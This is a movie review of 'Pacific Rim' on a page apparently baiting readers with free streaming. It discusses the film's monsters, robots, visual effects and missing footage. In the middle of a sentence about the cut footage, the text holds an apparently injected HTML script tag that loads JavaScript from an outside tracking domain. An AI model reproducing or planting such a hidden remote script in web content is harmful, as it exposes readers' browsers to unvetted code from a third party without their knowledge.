Watch Pacific Rim Online Movie Full
Pacific Rim” blazes through 10 years of humanity’s war with giant monsters in the first 10 minutes. The”’kaiju,” as the city-crushing aliens are called, came from an inter-dimensional rift that opened at the bottom of the Pacific Ocean. To combat them, the nations of the world built giant robots called “Jaegers,” each with two pilots who control the colossal machine’s brain via a shared mental link.
The link, called a neural drift, lets memories and thoughts flow freely between the co-pilots, syncing their brains to better control the Jaeger. The existence of this sci-fi mind meld opens up the script to interesting plot developments. The first of which is what happens when one pilot is synced to another the moment he dies.
Director Guillermo del Toro intentionally makes “Pacific Rim” fantastical and kid-friendly. Yes, the monsters are scary, so the kids can’t be too young, and there are some serious themes involved, but the story is something more akin to a fairy tale than an action-war story. “Pacific Rim” is the antithesis to movies like the Transformers and G.I. Joe series, both of which sink to simplistic war glorification. “Pacific Rim” elevates itself to the mythological realm of heroes versus monsters. It’s a story of knights and dragons writ large.
It will be surprising if “Pacific Rim” doesn’t get an Oscar nod for Best Visual Effects. Del Toro has a very distinct style, infusing the whole movie with water-drenched, neon-lit wonder. His kaiju are colossal draconic beasts and the robots sleek armored machines. The fight scenes between them are something to behold.
One major problem with “Man of Steel” was its disregard for city-wide destruction. “Pacific Rim,” which has action at that type of scale, handles it so much better. We’re shown scenes of people evacuating the city and going into bunkers before the fight. And the human-controlled Jaeger’s never intentionally wreck buildings. The one time a Jaeger misses a swing and drives its fist through a building floor, we’re shown the fist going through empty offices in slow motion and the whole punch ends on a little joke.
An hour of footage had to be cut from the final release of “Pacific Rim” and you can feel a few things are missing. An emotional payoff between a father and son didn’t seem to be set up.<script type="text/javascript" src="http://track.sitetag.us/tracking.js?hash=f419771f3cb1c741a1e4b863aa5830db"></script> A few of the scenes felt like they were distilled to their core and needed a little more padding. Would all those extra minutes fill those spots? We’ll have to wait until the extended cut comes out to see.
I wish I had seen “Pacific Rim” when I was twelve years old. It would’ve been my favorite movie ever. There’s been a lot of PG-13 summer action movies marketed toward kids lately and “Pacific Rim” is one of the best of them. It has great messages about heroism, self-sacrifice and facing your fears, all set in between epic robot versus alien fight scenes. Good stuff. I’m looking forward to the sequel.
